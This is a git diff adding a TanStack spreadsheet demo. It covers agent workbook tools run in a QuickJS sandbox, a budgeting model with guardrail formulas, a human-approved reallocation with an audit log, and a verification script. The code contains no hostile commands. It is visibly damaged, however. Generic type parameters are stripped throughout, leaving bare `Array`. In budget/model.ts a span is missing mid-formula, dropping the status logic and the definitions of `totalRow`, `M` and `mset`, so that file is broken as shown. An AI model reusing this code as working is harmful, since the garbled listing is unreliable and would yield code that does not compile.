+ "@tanstack/ai-isolate-quickjs": "^1.1.0",
+ "@tanstack/ai-react": "^1.0.2",
+ "@tanstack/react-router": "^1.170.46",
+ "@tanstack/react-spreadsheet": "workspace:*",
+ "@tanstack/react-start": "^1.169.5",
+ "@tanstack/spreadsheet-agent": "workspace:*",
+ "@tanstack/spreadsheet-codemode": "workspace:*",
+ "@tanstack/spreadsheet-core": "workspace:*",
+ "@tanstack/spreadsheet-packs": "workspace:*",
+ "@tanstack/spreadsheet-store": "workspace:*",
+ "@tanstack/spreadsheet-table": "workspace:*",
+ "@tanstack/spreadsheet-xlsx": "workspace:*",
+ "@tanstack/table-core": "workspace:*",
+ "fflate": "^0.8.3",
+ "quickjs-emscripten": "^0.32.0",
+ "react": "^19.3.1",
+ "react-dom": "^19.3.1",
+ "react-markdown": "^10.1.0",
+ "remark-gfm": "^4.0.1",
+ "zod": "^4.6.7"
+ },
+ "devDependencies": {
+ "@rolldown/plugin-babel": "^0.3.1",
+ "@types/react": "^19.3.0",
+ "@types/react-dom": "^19.3.0",
+ "@vitejs/plugin-react": "^6.3.0",
+ "babel-plugin-react-compiler": "^1.0.0",
+ "typescript": "6.0.3",
+ "vite": "^8.3.8",
+ "vitest": "^5.1.0"
+ }
+}
diff --git a/examples/react/spreadsheet-demo/src/agent/model.ts b/examples/react/spreadsheet-demo/src/agent/model.ts
new file mode 100644
index 0000000000..efb268d85c
--- /dev/null
+++ b/examples/react/spreadsheet-demo/src/agent/model.ts
@@ -0,0 +1,114 @@
+/**
+ * M15 — the `/agent` demo (Extension Spec v0.3 §12), live TanStack AI Code Mode.
+ *
+ * Shared constants for the agent's workbook tools + the deterministic test. The
+ * *live* agent builds the sheet itself (see `routes/api.agent.ts` system prompt);
+ * these constants fix the layout the prompt asks for, so the KPIs, the verify
+ * checks, and the runway formula know where to look.
+ */
+
+import { createWorkbook } from '@tanstack/spreadsheet-core'
+import type { CellValue, Ref, Workbook } from '@tanstack/spreadsheet-core'
+import type { CodeFunctionSpec, Example } from '@tanstack/spreadsheet-codemode'
+
+export const AGENT_SHEET = 's1'
+export const ref = (row: number, col: number): Ref => ({
+ sheet: AGENT_SHEET,
+ row,
+ col,
+})
+
+/** The grid the UI renders (the tracker + runway block fit inside). */
+export const AGENT_ROWS = 13
+export const AGENT_COLS = 6
+
+/** The category anchors/actuals the prompt asks the agent to enter (all land green). */
+export const CATS = [
+ { name: 'Cloud', anchor: 20, actual: 21 },
+ { name: 'Software', anchor: 8, actual: 8 },
+ { name: 'Contractors', anchor: 30, actual: 28 },
+ { name: 'Travel', anchor: 5, actual: 4 },
+ { name: 'Marketing', anchor: 12, actual: 10 },
+]
+export const ANCHOR_TOTAL = CATS.reduce((s, c) => s + c.anchor, 0) // 75
+
+// Fixed layout the system prompt enforces (0-based rows).
+const FIRST_CAT_ROW = 1
+const TOTAL_ROW = 6 // A1 row 7
+const CASH_ROW = 8 // A1 row 9
+const BURN_ROW = 9 // A1 row 10
+const ONEOFF_ROW = 10 // A1 row 11
+const BUILTIN_RUNWAY_ROW = 11 // A1 row 12
+export const TRUE_RUNWAY_ROW = 12 // A1 row 13
+
+/** Cell refs the UI reads back / patches. */
+export const CELLS = {
+ firstAnchor: ref(FIRST_CAT_ROW, 1), // B2
+ anchorTotal: ref(TOTAL_ROW, 1), // B7
+ builtinRunway: ref(BUILTIN_RUNWAY_ROW, 1), // B12
+ trueRunway: ref(TRUE_RUNWAY_ROW, 1), // B13
+ trueRunwayLabel: ref(TRUE_RUNWAY_ROW, 0), // A13
+}
+
+/** Act-1 self-verification checks (run through `buildAndVerify`, which also scans errors). */
+export function agentChecks(
+ wb: Workbook,
+): Array<{ label: string; ok: boolean }> {
+ const anchorTotal = wb.getCell(CELLS.anchorTotal)?.value
+ const builtin = wb.getCell(CELLS.builtinRunway)?.value
+ const statuses = CATS.map(
+ (_, i) => wb.getCell(ref(FIRST_CAT_ROW + i, 5))?.value,
+ )
+ const allStatuses = statuses.every(
+ (s) => s === 'OK' || s === 'OVER' || s === 'UNDER',
+ )
+ return [
+ {
+ label: `Anchor total ties out (= ${ANCHOR_TOTAL})`,
+ ok: anchorTotal === ANCHOR_TOTAL,
+ },
+ { label: 'Every category has an OK/OVER/UNDER status', ok: allStatuses },
+ { label: 'Built-in runway computes (= 11.2)', ok: builtin === 11.2 },
+ ]
+}
+
+// --- Act 2: the Code Mode function the agent authors -----------------------------
+
+/** The CFO's definition: runway excluding one-off hardware spikes from burn. */
+export const TRUE_RUNWAY_SPEC: CodeFunctionSpec = {
+ name: 'FN.TRUE_RUNWAY',
+ args: [{ name: 'burn' }, { name: 'cash' }, { name: 'oneOff' }],
+ returns: 'number',
+ description:
+ 'Months of runway, excluding a one-off hardware spike from burn.',
+ source: 'return Math.round((cash / (burn - oneOff)) * 10) / 10',
+}
+
+/** Supplied examples — registration is blocked until all of these pass. */
+export const TRUE_RUNWAY_EXAMPLES: Array = [
+ { args: [100, 1120, 0], expected: 11.2 },
+ { args: [120, 1500, 20], expected: 15 },
+]
+
+/** The formula wired into the runway cell after approval (burn B10, cash B9, oneOff B11). */
+export const RUNWAY_FORMULA = '=FN.TRUE_RUNWAY(B10,B9,B11)'
+
+/** A fresh, empty workbook with the sheet added. Pure — SSR-safe. */
+export function freshWorkbook(): Workbook {
+ const wb = createWorkbook()
+ wb.addSheet(AGENT_SHEET)
+ return wb
+}
+
+/** 'B12' → { sheet, row, col } (0-based row/col). Used by the set_cells tool. */
+export function a1ToRef(a1: string): Ref {
+ const m = /^([A-Za-z]+)(\d+)$/.exec(a1.trim())
+ if (!m) throw new Error(`Bad A1 reference: ${a1}`)
+ const letters = m[1].toUpperCase()
+ let col = 0
+ for (const ch of letters) col = col * 26 + (ch.charCodeAt(0) - 64)
+ return ref(Number(m[2]) - 1, col - 1)
+}
+
+export const cellValue = (wb: Workbook, r: Ref): CellValue =>
+ wb.getCell(r)?.value ?? null
diff --git a/examples/react/spreadsheet-demo/src/agent/tools.ts b/examples/react/spreadsheet-demo/src/agent/tools.ts
new file mode 100644
index 0000000000..7a37852ccf
--- /dev/null
+++ b/examples/react/spreadsheet-demo/src/agent/tools.ts
@@ -0,0 +1,206 @@
+/**
+ * The agent's workbook tools + client-side Code Mode wiring (§12, live).
+ *
+ * `createAgentCodeMode(wb, handlers)` builds a QuickJS **WASM** isolate in the
+ * browser and exposes four tools to the model's generated TypeScript as
+ * `external_*` functions. The tools are plain async closures over the live
+ * client `Workbook`, so when the model's code runs it mutates the real sheet and
+ * the grid re-renders. The returned `execute_typescript` is a **client tool** for
+ * `useChat` — only the LLM completion crosses to the server.
+ */
+
+import { toolDefinition } from '@tanstack/ai'
+import { z } from 'zod'
+import { createCodeMode } from '@tanstack/ai-code-mode'
+import { stageFunction } from '@tanstack/spreadsheet-codemode'
+import {
+ readSheet as readSheetImpl,
+ setCells as setCellsImpl,
+ verify as verifyImpl,
+} from '@tanstack/spreadsheet-agent'
+import { formatValue } from '@tanstack/spreadsheet-core'
+import {
+ AGENT_SHEET,
+ TRUE_RUNWAY_EXAMPLES,
+ TRUE_RUNWAY_SPEC,
+ agentChecks,
+} from './model'
+import type { Workbook } from '@tanstack/spreadsheet-core'
+import type { StagedFunction } from '@tanstack/spreadsheet-codemode'
+
+export type AgentEvent =
+ | { kind: 'code'; code: string }
+ | { kind: 'tool'; name: string; summary: string }
+ | { kind: 'staged'; staged: StagedFunction }
+
+export interface AgentHandlers {
+ onEvent: (event: AgentEvent) => void
+}
+
+/**
+ * Build the workbook tools (as Code Mode `ServerTool`s) over a live workbook.
+ * The tool bodies dogfood the packaged `@tanstack/spreadsheet-agent` surface —
+ * `setCells` / `readSheet` / `verify` — rather than re-implementing workbook
+ * access here.
+ */
+function workbookTools(wb: Workbook, { onEvent }: AgentHandlers) {
+ const setCells = toolDefinition({
+ name: 'set_cells',
+ description:
+ 'Write raw values or formulas into cells. Each cell is { a1, input } where input is a literal ("20") or a formula starting with "=". Returns the resulting values.',
+ inputSchema: z.object({
+ cells: z
+ .array(z.object({ a1: z.string(), input: z.string() }))
+ .describe(
+ 'Cells to write, e.g. [{ a1: "A1", input: "Category" }, { a1: "D2", input: "=B2*0.8" }]',
+ ),
+ }),
+ outputSchema: z.object({
+ cells: z.array(z.object({ a1: z.string(), value: z.string() })),
+ }),
+ }).server(async ({ cells }) => {
+ // One batched transaction through the packaged tool (no display side effect;
+ // the Phase-4 formatter owns display now).
+ const written = setCellsImpl(wb, cells, AGENT_SHEET)
+ onEvent({
+ kind: 'tool',
+ name: 'set_cells',
+ summary: `wrote ${cells.length} cell(s)`,
+ })
+ return {
+ cells: written.map((c) => ({ a1: c.a1, value: formatValue(c.value) })),
+ }
+ })
+
+ const readSheet = toolDefinition({
+ name: 'read_sheet',
+ description:
+ 'Read the populated cells of the sheet: their A1 address, input (formula or literal), computed value, and kind (formula | literal).',
+ inputSchema: z.object({}),
+ outputSchema: z.object({
+ cells: z.array(
+ z.object({
+ a1: z.string(),
+ input: z.string(),
+ value: z.string(),
+ kind: z.string(),
+ }),
+ ),
+ }),
+ }).server(async () => {
+ const cells = readSheetImpl(wb, AGENT_SHEET).map((c) => ({
+ a1: c.a1,
+ input: c.input,
+ value: formatValue(c.value),
+ kind: c.kind === 'formula' ? 'formula' : 'literal',
+ }))
+ onEvent({
+ kind: 'tool',
+ name: 'read_sheet',
+ summary: `${cells.length} populated cell(s)`,
+ })
+ return { cells }
+ })
+
+ const authorRunway = toolDefinition({
+ name: 'author_runway_function',
+ description:
+ 'Author FN.TRUE_RUNWAY as a Code Mode function. Provide the JS function BODY (params are burn, cash, oneOff; must `return` a number). It is compiled and TESTED against the supplied examples but NOT registered — a human approves registration in the UI. Returns { passed, version, results }.',
+ inputSchema: z.object({
+ source: z
+ .string()
+ .describe(
+ 'Function body, e.g. "return Math.round((cash / (burn - oneOff)) * 10) / 10"',
+ ),
+ }),
+ outputSchema: z.object({
+ passed: z.boolean(),
+ version: z.string(),
+ results: z.array(
+ z.object({
+ args: z.array(z.number()),
+ expected: z.number(),
+ actual: z.string(),
+ pass: z.boolean(),
+ }),
+ ),
+ }),
+ }).server(async ({ source }) => {
+ const staged = stageFunction(
+ { ...TRUE_RUNWAY_SPEC, source },
+ TRUE_RUNWAY_EXAMPLES,
+ )
+ onEvent({ kind: 'staged', staged })
+ return {
+ passed: staged.passed,
+ version: staged.compiled.version,
+ results: staged.results.map((r) => ({
+ args: r.args as Array,
+ expected: r.expected as number,
+ actual: String(r.actual),
+ pass: r.pass,
+ })),
+ }
+ })
+
+ const verify = toolDefinition({
+ name: 'verify',
+ description:
+ 'Self-verify the built sheet: settles async work, runs the budget checks, and scans for error cells. Returns { ok, checks, errors }.',
+ inputSchema: z.object({}),
+ outputSchema: z.object({
+ ok: z.boolean(),
+ checks: z.array(z.object({ label: z.string(), ok: z.boolean() })),
+ errorCount: z.number(),
+ }),
+ }).server(async () => {
+ // The caller sequences build + settle, then the pure `verify` returns Issues.
+ await wb.settle()
+ const checks = agentChecks(wb)
+ const issues = verifyImpl(wb, { sheet: AGENT_SHEET, checks })
+ onEvent({
+ kind: 'tool',
+ name: 'verify',
+ summary: issues.length === 0 ? 'all checks passed' : 'checks failed',
+ })
+ return {
+ ok: issues.length === 0,
+ checks,
+ errorCount: issues.filter((i) => i.ref !== undefined).length,
+ }
+ })
+
+ return [setCells, readSheet, authorRunway, verify]
+}
+
+/**
+ * Build the browser QuickJS-WASM Code Mode and return the `execute_typescript`
+ * CLIENT tool + the generated system prompt (forward it to the server so the LLM
+ * knows the available `external_*` functions). Dynamic-imports the WASM isolate
+ * so it never loads during SSR.
+ */
+export async function createAgentCodeMode(
+ wb: Workbook,
+ handlers: AgentHandlers,
+) {
+ const { createQuickJSIsolateDriver } =
+ await import('@tanstack/ai-isolate-quickjs')
+ const cm = createCodeMode({
+ driver: createQuickJSIsolateDriver(),
+ tools: workbookTools(wb, handlers),
+ timeout: 60000,
+ memoryLimit: 128,
+ })
+
+ const executeTypescript = toolDefinition({
+ name: 'execute_typescript',
+ description:
+ 'Run TypeScript in a sandbox. Call the external_* functions to build and inspect the sheet. Use `return` to pass a result back.',
+ inputSchema: z.object({ typescriptCode: z.string() }),
+ }).client(async (input: { typescriptCode: string }) => {
+ handlers.onEvent({ kind: 'code', code: input.typescriptCode })
+ return cm.tool.execute!(input)
+ })
+
+ return { executeTypescript, codeModeSystemPrompt: cm.systemPrompt }
+}
diff --git a/examples/react/spreadsheet-demo/src/budget/model.ts b/examples/react/spreadsheet-demo/src/budget/model.ts
new file mode 100644
index 0000000000..290d0b0ddd
--- /dev/null
+++ b/examples/react/spreadsheet-demo/src/budget/model.ts
@@ -0,0 +1,243 @@
+/**
+ * The Fluid Budget model (Extension Spec §8.1) — a deterministic budgeting
+ * workbook that ties out. An anchor budget per category, ±20% guardrail bands as
+ * *formulas*, actuals summed from an async-classified transactions feed, and a
+ * runway driven by a Code Mode `FN.TRUE_RUNWAY` function.
+ *
+ * Everything is pure + seeded so the verification script (`verify.ts`) can assert
+ * exact numbers. The decision model runs in-page here (a deterministic mock) —
+ * the `/async` route shows the server-function variant.
+ */
+
+import { createWorkbook } from '@tanstack/spreadsheet-core'
+import { decisionPack, decisionPort } from '@tanstack/spreadsheet-packs'
+import {
+ compileCodeFunction,
+ registerCompiled,
+} from '@tanstack/spreadsheet-codemode'
+import type { Ref, Workbook } from '@tanstack/spreadsheet-core'
+import type { DecisionRule } from '@tanstack/spreadsheet-packs'
+
+export const BUDGET = 'budget'
+export const TXN = 'txn'
+export const MODEL = 'model'
+
+export const CATEGORIES = 'Cloud,Software,Contractors,Travel,Marketing'
+export const CONFIDENCE_THRESHOLD = 0.6
+
+const RULES: Array = [
+ {
+ match: /aws|cloud|gcp|azure|render|vercel/i,
+ choice: 'Cloud',
+ confidence: 0.97,
+ },
+ {
+ match: /figma|notion|slack|github|subscription|saas/i,
+ choice: 'Software',
+ confidence: 0.93,
+ },
+ {
+ match: /contractor|invoice|consult|design/i,
+ choice: 'Contractors',
+ confidence: 0.88,
+ },
+ {
+ match: /uber|flight|hotel|travel|lyft/i,
+ choice: 'Travel',
+ confidence: 0.9,
+ },
+ { match: /ads?|marketing|campaign/i, choice: 'Marketing', confidence: 0.84 },
+]
+
+export const budgetModel = {
+ id: 'mock-jev',
+ version: '2026.11',
+ decide(value: unknown, labels: Array) {
+ const text = String(value ?? '')
+ const hit = RULES.find((r) => r.match.test(text))
+ if (hit && labels.includes(hit.choice))
+ return { choice: hit.choice, confidence: hit.confidence }
+ return { choice: 'Uncategorized', confidence: 0.42 }
+ },
+ probability(value: unknown) {
+ const text = String(value ?? '')
+ return RULES.find((r) => r.match.test(text))?.confidence ?? 0.42
+ },
+ bool(value: unknown) {
+ return this.probability(value) >= 0.5
+ },
+}
+
+export interface Txn {
+ desc: string
+ amount: number
+}
+
+/** The scripted feed. Amounts in $k. Two rows are deliberately low-confidence. */
+export const SEED_TXNS: Array = [
+ { desc: 'AWS cloud bill — November', amount: 18 },
+ { desc: 'GCP data egress', amount: 3 },
+ { desc: 'Figma annual subscription', amount: 7 },
+ { desc: 'Slack + Notion renewal', amount: 1 },
+ { desc: 'Contractor invoice — Rivera Design', amount: 28 },
+ { desc: 'Google Ads campaign', amount: 10 },
+ { desc: 'Uber to the airport', amount: 4 },
+ { desc: 'Mystery charge 4821', amount: 3 }, // → Uncategorized, REVIEW
+ { desc: 'Unlabeled wire 7781', amount: 2 }, // → Uncategorized, REVIEW
+]
+
+const CATS = [
+ { name: 'Cloud', anchor: 20 },
+ { name: 'Software', anchor: 8 },
+ { name: 'Contractors', anchor: 30 },
+ { name: 'Travel', anchor: 5 },
+ { name: 'Marketing', anchor: 12 },
+]
+export const CATEGORY_NAMES = CATS.map((c) => c.name)
+
+// --- Model-sheet cell map (row indices) ------------------------------------
+export const MODEL_CELLS = {
+ cash: 0,
+ payroll: 1,
+ categorized: 2,
+ uncategorized: 3,
+ burn: 4,
+ oneOff: 5,
+ builtinRunway: 6,
+ trueRunway: 7,
+ /** Approvals-enabled gate — TRUE iff every guardrail is green. */
+ gate: 8,
+} as const
+
+export const ref = (sheet: string, row: number, col: number): Ref => ({
+ sheet,
+ row,
+ col,
+})
+const r1 = (row: number) => row + 1 // 0-based row → A1 row number
+
+export interface BuildOptions {
+ /** Simulated classification latency (ms) for the UI; 0 for headless tests. */
+ latency?: number
+}
+
+/** The `FN.TRUE_RUNWAY` spec — exactly what `/code-functions` authors. */
+export const TRUE_RUNWAY_SPEC = {
+ name: 'FN.TRUE_RUNWAY',
+ args: [{ name: 'cash' }, { name: 'burn' }, { name: 'oneOff' }],
+ returns: 'number' as const,
+ description: 'Runway months: cash ÷ (burn + pulled-forward one-off spend).',
+ source: 'return Math.round((cash / (burn + oneOff)) * 10) / 10',
+}
+
+/**
+ * Build the full budget workbook. Transactions are seeded as inputs; their
+ * classification columns are async (fill pending → resolved on `settle()`).
+ */
+export function buildBudgetWorkbook(opts: BuildOptions = {}): Workbook {
+ const wb = createWorkbook({
+ packs: [decisionPack(budgetModel)],
+ asyncPort: decisionPort(budgetModel, { latency: opts.latency ?? 0 }),
+ })
+ wb.addSheet(BUDGET)
+ wb.addSheet(TXN)
+ wb.addSheet(MODEL)
+ registerCompiled(wb, compileCodeFunction(TRUE_RUNWAY_SPEC))
+
+ const P = [] as Array[number]>
+ const set = (sheet: string, row: number, col: number, input: string) =>
+ P.push(...wb.setInput(ref(sheet, row, col), input))
+
+ // --- Transactions: description + amount inputs, async classification -------
+ const headers = ['Description', 'Category', 'Confidence', 'Status', 'Amount']
+ headers.forEach((h, c) => set(TXN, 0, c, h))
+ const n = SEED_TXNS.length
+ SEED_TXNS.forEach((t, i) => {
+ const row = i + 1
+ const a = r1(row)
+ set(TXN, row, 0, t.desc)
+ set(TXN, row, 1, `=JEV.CHOICE(A${a},"${CATEGORIES}")`)
+ set(TXN, row, 2, `=JEV.CONFIDENCE(A${a},"${CATEGORIES}")`)
+ set(TXN, row, 3, `=IF(C${a}<${CONFIDENCE_THRESHOLD},"REVIEW",B${a})`)
+ set(TXN, row, 4, String(t.amount))
+ })
+ const catRange = `$B$2:$B$${n + 1}`
+ const amtRange = `$E$2:$E$${n + 1}`
+
+ // --- Budget: anchors, actuals (SUMIF over classified txns), guardrails -----
+ ;['Category', 'Anchor', 'Actual', 'Lower', 'Upper', 'Status'].forEach(
+ (h, c) => set(BUDGET, 0, c, h),
+ )
+ CATS.forEach((cat, i) => {
+ const row = i + 1
+ const a = r1(row)
+ set(BUDGET, row, 0, cat.name)
+ set(BUDGET, row, 1, String(cat.anchor))
+ set(BUDGET, row, 2, `=SUMIF(${TXN}!${catRange}, A${a}, ${TXN}!${amtRange})`)
+ set(BUDGET, row, 3, `=B${a}*0.8`)
+ set(BUDGET, row, 4, `=B${a}*1.2`)
+ set(BUDGET, row, 5, `=IF(C${a}>E${a},"OVER",IF(C${a} {
+ set(MODEL, row, 0, label)
+ set(MODEL, row, 1, b)
+ }
+ mset(M.cash, 'Cash on hand', '1120')
+ mset(M.payroll, 'Payroll', '24')
+ mset(
+ M.categorized,
+ 'Categorized spend',
+ `=SUM(${BUDGET}!C2:C${CATS.length + 1})`,
+ )
+ mset(
+ M.uncategorized,
+ 'Uncategorized',
+ `=SUMIF(${TXN}!${catRange},"Uncategorized",${TXN}!${amtRange})`,
+ )
+ mset(
+ M.burn,
+ 'Monthly burn',
+ `=B${r1(M.payroll)}+B${r1(M.categorized)}+B${r1(M.uncategorized)}`,
+ )
+ mset(M.oneOff, 'Pulled-forward one-off', '0')
+ mset(
+ M.builtinRunway,
+ 'Built-in runway',
+ `=ROUND(B${r1(M.cash)}/B${r1(M.burn)},1)`,
+ )
+ mset(
+ M.trueRunway,
+ 'True runway',
+ `=FN.TRUE_RUNWAY(B${r1(M.cash)},B${r1(M.burn)},B${r1(M.oneOff)})`,
+ )
+ // The approval gate IS a cell: TRUE only when every guardrail is green.
+ mset(
+ M.gate,
+ 'Approvals enabled',
+ `=COUNTIF(${BUDGET}!F2:F${CATS.length + 1},"OK")=${CATS.length}`,
+ )
+
+ wb.applyPatches(P)
+
+ // Display the numeric budget columns (B Anchor, C Actual, D Lower, E Upper)
+ // as fixed one-decimal — otherwise `*0.8` / `*1.2` leak float noise.
+ const NUM1 = '0.0'
+ for (let i = 0; i < CATS.length; i++) {
+ const row = i + 1
+ for (const col of [1, 2, 3, 4]) wb.setFormat(ref(BUDGET, row, col), NUM1)
+ }
+ wb.setFormat(ref(BUDGET, totalRow, 1), NUM1)
+ wb.setFormat(ref(BUDGET, totalRow, 2), NUM1)
+
+ return wb
+}
+
+export const modelVal = (wb: Workbook, row: number) =>
+ wb.getCell(ref(MODEL, row, 1))?.value ?? null
diff --git a/examples/react/spreadsheet-demo/src/budget/scenario.ts b/examples/react/spreadsheet-demo/src/budget/scenario.ts
new file mode 100644
index 0000000000..fc39091ea6
--- /dev/null
+++ b/examples/react/spreadsheet-demo/src/budget/scenario.ts
@@ -0,0 +1,92 @@
+/**
+ * The "fluid moment" (§8.3 Act 4). A $40k hardware need is pulled forward,
+ * reallocating from underspent Marketing. It lands as a **staged patch diff**
+ * (input strings only) that a human approves on `/budget/review`; approval
+ * applies it and records an audit trail (the diff, the approver, the runway
+ * before/after, and the function versions involved).
+ */
+
+import { exportCodeFunctions } from '@tanstack/spreadsheet-codemode'
+import { BUDGET, MODEL, MODEL_CELLS, modelVal, ref } from './model'
+import type { CellValue, Ref, Workbook } from '@tanstack/spreadsheet-core'
+
+export interface DiffRow {
+ ref: Ref
+ a1: string
+ label: string
+ before: string
+ after: string
+}
+
+export interface Reallocation {
+ label: string
+ rationale: string
+ diff: Array
+}
+
+// Marketing is category index 4 → budget row 5 (A1 row 6).
+const MARKETING_ANCHOR = ref(BUDGET, 5, 1)
+const ONE_OFF = ref(MODEL, MODEL_CELLS.oneOff, 1)
+
+const inputOf = (wb: Workbook, r: Ref) => wb.getCell(r)?.input ?? ''
+
+/** The staged reallocation: amortize the hardware, trim the Marketing anchor. */
+export function pullForwardHardware(wb: Workbook): Reallocation {
+ return {
+ label: 'Pull forward $40k hardware',
+ rationale:
+ 'Amortize the one-off hardware (+5/mo) and reallocate from underspent Marketing (12 → 10). Guardrails stay green.',
+ diff: [
+ {
+ ref: ONE_OFF,
+ a1: 'model!B6',
+ label: 'Pulled-forward one-off',
+ before: inputOf(wb, ONE_OFF),
+ after: '5',
+ },
+ {
+ ref: MARKETING_ANCHOR,
+ a1: 'budget!B6',
+ label: 'Marketing anchor',
+ before: inputOf(wb, MARKETING_ANCHOR),
+ after: '10',
+ },
+ ],
+ }
+}
+
+export interface AuditEntry {
+ approver: string
+ label: string
+ diff: Array
+ runwayBefore: CellValue
+ runwayAfter: CellValue
+ functions: Array<{ name: string; version: string }>
+}
+
+/**
+ * Apply an approved reallocation (inputs only) and return an audit entry. The
+ * runway before/after is read from the live model; function versions come from
+ * the code-function manifest.
+ */
+export function approveReallocation(
+ wb: Workbook,
+ realloc: Reallocation,
+ approver: string,
+): AuditEntry {
+ const runwayBefore = modelVal(wb, MODEL_CELLS.trueRunway)
+ const patches = realloc.diff.flatMap((d) => wb.setInput(d.ref, d.after))
+ wb.applyPatches(patches)
+ const runwayAfter = modelVal(wb, MODEL_CELLS.trueRunway)
+ return {
+ approver,
+ label: realloc.label,
+ diff: realloc.diff,
+ runwayBefore,
+ runwayAfter,
+ functions: exportCodeFunctions(wb).map((f) => ({
+ name: f.name,
+ version: f.version,
+ })),
+ }
+}
diff --git a/examples/react/spreadsheet-demo/src/budget/store.ts b/examples/react/spreadsheet-demo/src/budget/store.ts
new file mode 100644
index 0000000000..5b5dbe4b52
--- /dev/null
+++ b/examples/react/spreadsheet-demo/src/budget/store.ts
@@ -0,0 +1,35 @@
+/**
+ * A single budget workbook shared across the `/budget*` routes (the dashboard,
+ * the spreadsheet, and the review queue are three renderings of one living
+ * workbook). Built lazily on the client so SSR never fires the classifier.
+ */
+
+import { buildBudgetWorkbook } from './model'
+import type { Workbook } from '@tanstack/spreadsheet-core'
+import type { AuditEntry } from './scenario'
+
+let wb: Workbook | null = null
+let audit: Array = []
+
+export function budgetWorkbook(): Workbook {
+ if (!wb) wb = buildBudgetWorkbook({ latency: 500 })
+ return wb
+}
+
+export function resetBudget(): Workbook {
+ wb = buildBudgetWorkbook({ latency: 500 })
+ audit = []
+ return wb
+}
+
+export function auditLog(): Array {
+ return audit
+}
+
+export function recordAudit(entry: AuditEntry): void {
+ audit = [entry, ...audit]
+}
+
+export function reallocationApplied(): boolean {
+ return audit.length > 0
+}
diff --git a/examples/react/spreadsheet-demo/src/budget/verify.ts b/examples/react/spreadsheet-demo/src/budget/verify.ts
new file mode 100644
index 0000000000..a50654f516
--- /dev/null
+++ b/examples/react/spreadsheet-demo/src/budget/verify.ts
@@ -0,0 +1,90 @@
+/**
+ * The demo verification (§8.4 "numbers tie out"). Settles the workbook, then
+ * asserts category totals = transaction sums, runway figures match hand-computed
+ * expectations, guardrails are green, exactly the scripted rows are flagged for
+ * review, and there are zero unexpected error cells. A budgeting demo whose
+ * numbers don't reconcile is an own goal.
+ */
+
+import { listErrors } from '@tanstack/spreadsheet-agent'
+import {
+ BUDGET,
+ CATEGORY_NAMES,
+ MODEL_CELLS,
+ SEED_TXNS,
+ TXN,
+ modelVal,
+ ref,
+} from './model'
+import type { CellValue, Workbook } from '@tanstack/spreadsheet-core'
+
+export interface Check {
+ label: string
+ ok: boolean
+ detail?: string
+}
+
+export interface VerifyReport {
+ ok: boolean
+ checks: Array
+ errorCount: number
+}
+
+const num = (v: CellValue): number => (typeof v === 'number' ? v : NaN)
+
+/** Run the verification against a (freshly built) budget workbook. */
+export async function verifyBudget(wb: Workbook): Promise {
+ await wb.settle()
+ const checks: Array = []
+ const check = (label: string, ok: boolean, detail?: string) =>
+ checks.push({ label, ok, detail })
+
+ const totalTxns = SEED_TXNS.reduce((s, t) => s + t.amount, 0) // 76
+ const categorized = num(modelVal(wb, MODEL_CELLS.categorized))
+ const uncategorized = num(modelVal(wb, MODEL_CELLS.uncategorized))
+ check(
+ 'category totals + uncategorized = transaction sum',
+ categorized + uncategorized === totalTxns,
+ `${categorized} + ${uncategorized} = ${categorized + uncategorized} (expected ${totalTxns})`,
+ )
+
+ check('monthly burn = 100', num(modelVal(wb, MODEL_CELLS.burn)) === 100)
+ check(
+ 'built-in runway = 11.2',
+ num(modelVal(wb, MODEL_CELLS.builtinRunway)) === 11.2,
+ )
+ check(
+ 'true runway = 11.2',
+ num(modelVal(wb, MODEL_CELLS.trueRunway)) === 11.2,
+ )
+
+ // guardrails: every category OK
+ const statuses = CATEGORY_NAMES.map(
+ (_, i) => wb.getCell(ref(BUDGET, i + 1, 5))?.value,
+ )
+ check(
+ 'all guardrails green (OK)',
+ statuses.every((s) => s === 'OK'),
+ statuses.join(', '),
+ )
+
+ // exactly two rows flagged for review (the low-confidence transactions)
+ let reviews = 0
+ for (let r = 1; r <= SEED_TXNS.length; r++) {
+ if (wb.getCell(ref(TXN, r, 3))?.value === 'REVIEW') reviews++
+ }
+ check(
+ 'exactly 2 transactions flagged REVIEW',
+ reviews === 2,
+ `${reviews} flagged`,
+ )
+
+ const errors = listErrors(wb)
+ check(
+ 'zero unexpected error cells',
+ errors.length === 0,
+ errors.map((e) => e.code).join(', '),
+ )
+
+ return { ok: checks.every((c) => c.ok), checks, errorCount: errors.length }
+}
diff --git a/examples/react/spreadsheet-demo/src/decide.ts b/examples/react/spreadsheet-demo/src/decide.ts
new file mode 100644
index 0000000000..ab7213d450
--- /dev/null
+++ b/examples/react/spreadsheet-demo/src/decide.ts
@@ -0,0 +1,60 @@
+import { createServerFn } from '@tanstack/react-start'
+import {
+ composeAsyncPort,
+ decisionPort,
+ namespacedPort,
+ restPort,
+} from '@tanstack/spreadsheet-packs'
+import { CANNED_ENDPOINTS, decisionModel } from './model'
+import type { AsyncArgValue, AsyncPort } from '@tanstack/spreadsheet-core'
+
+interface Payload {
+ name: string
+ version: string
+ // Async args include range grids (CellValue[][]), so this is AsyncArgValue,
+ // not CellValue — matching what AsyncRequest.args carries.
+ requests: Array<{ key: string; args: Array }>
+}
+
+/**
+ * The async execution proxy as a TanStack Start **server function** (§8.0). This
+ * handler runs server-side only, so the model, the canned endpoints, and (in a
+ * real deployment) API keys never reach the client bundle. It routes each batch
+ * to the right pack port by function name.
+ */
+export const decideServerFn = createServerFn({ method: 'POST' })
+ .validator((d: Payload) => d)
+ .handler(async ({ data }) => {
+ const port = composeAsyncPort([
+ namespacedPort('JEV', decisionPort(decisionModel, { latency: 600 })),
+ namespacedPort(
+ 'REST',
+ restPort(async (url) => {
+ if (!(url in CANNED_ENDPOINTS)) throw new Error('404')
+ return CANNED_ENDPOINTS[url]
+ }),
+ ),
+ ])
+ const requests = data.requests.map((r) => ({
+ name: data.name,
+ version: data.version,
+ key: r.key,
+ args: r.args,
+ }))
+ return port.execute(data.name, requests)
+ })
+
+/** Client {@link AsyncPort} that forwards each batch to the server function. */
+export function serverAsyncPort(): AsyncPort {
+ return {
+ async execute(name, requests) {
+ return decideServerFn({
+ data: {
+ name,
+ version: requests[0]?.version ?? '',
+ requests: requests.map((r) => ({ key: r.key, args: r.args })),
+ },
+ })
+ },
+ }
+}
diff --git a/examples/react/spreadsheet-demo/src/model.ts b/examples/react/spreadsheet-demo/src/model.ts
new file mode 100644
index 0000000000..1f98534a75
--- /dev/null
+++ b/examples/react/spreadsheet-demo/src/model.ts
@@ -0,0 +1,50 @@
+import {
+ decisionPack,
+ mockDecisionModel,
+ restPack,
+} from '@tanstack/spreadsheet-packs'
+import type { DecisionRule } from '@tanstack/spreadsheet-packs'
+
